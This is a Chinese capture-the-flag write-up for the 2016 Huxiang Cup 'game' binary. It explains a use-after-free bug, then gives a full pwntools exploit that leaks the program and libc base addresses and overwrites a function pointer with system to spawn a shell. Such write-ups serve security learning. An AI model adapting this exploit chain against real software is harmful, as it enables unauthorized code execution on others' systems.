uaf-湖湘杯2016game_学习
0x00 分析程序
根据分析,我们可以得到以下重要数据结构
0x01 发现漏洞
1.在武器使用次数耗光后,程序会把存储该武器的堆块free,在free的时候没有清空指针,造成悬挂指针
2.comment存储在一个大小和武器块一样的堆块中,我们武器释放后再执行commit函数,那么武器堆块和comment堆块是同一块堆块
0x02 漏洞利用
1.在comment函数中向堆块中写入16字节的ascii码,再利用show_weapon函数把武器数据结构中的attack函数地址泄露出来,由此可以计算得到程序基址
2.利用程序基址计算出printf地址,再将printf函数写到attack函数处,再调用attack函数(相当于调用printf函数)把memset函数地址打印出来,由此可以计算出libc基址
3.得到了libc基址,就可以根据libc.so库算出system_addr,再利用comment将system函数写到attack函数处,在堆块中写入‘/bin/sh’,调用attack函数便可得到shell.
0x03 exp
from pwn import * t = process('./game') libc = ELF('./libc.so') context.log_level = "debug" def warehouse(count): t.recvuntil('$') t.sendline('build_warehouse') t.recvuntil('want have?\n') t.sendline(str(count)) def buy(name, tid): t.recvuntil('$') t.sendline('buy_weapon') t.recvuntil('buy?\n') t.sendline(name) t.recvuntil('weapon?\n') t.sendline(str(tid)) def show(tid): t.recvuntil('$') t.sendline('show_weapon') t.recvuntil('warehouse\n') t.sendline(str(tid)) def attack(tid): t.recvuntil('$') t.sendline('attack_boss') t.recvuntil('warehouse\n') t.sendline(str(tid)) def comment(co_buff): t.recvuntil('$') t.sendline('comment') t.recvuntil('?\n') t.send(co_buff) def leak_addr(addr,printf_plt): co_buff = '' co_buff += '%%%d$s.' % (7) co_buff = co_buff.ljust(16, '\x00') co_buff += p32(printf_plt) co_buff += '\n' comment(co_buff) show(0) t.sendline('attack_boss') t.recvuntil('warehouse\n') payload = '' payload += '0'* 0x04 payload += p32(addr) t.sendline(payload) data = t.recv(4) back_addr = u32(data[:4]) return back_addr def main(): t.recvuntil('name?\n') t.sendline('xt') warehouse(3) buy('UMP45', 0) attack(0) attack(0) attack(0) show(0) co_buff = '' co_buff += 'd' * 0x16 + '\n' comment(co_buff) show(0) t.recvuntil('Weapon name: ') t.recv(16) data = t.recvuntil('price:')[:-7] addr = u32(data[:4].ljust(4, '\x00')) proc_addr = addr - 0x1287 success('proc_addr:' + hex(proc_addr)) memset_got = 0x00002154 + proc_addr printf_plt = 0x00000710 + proc_addr memset_addr = leak_addr(memset_got,printf_plt) offset_memset = libc.symbols['memset'] offset_system = libc.symbols['system'] libc_base = memset_addr - offset_memset system_addr = libc_base + offset_system success('libc_base:' + hex(libc_base)) success('system_addr:' + hex(system_addr)) co_buff = "" co_buff += "/bin/sh;" co_buff = co_buff.ljust(16, '\x00') co_buff += p32(system_addr) co_buff += "\n" comment(co_buff) t.sendline("attack_boss") t.recvuntil("warehouse\n") payload = "" payload += "0" t.sendline(payload) t.interactive() if __name__ == '__main__': main()
Always believe that good things will come.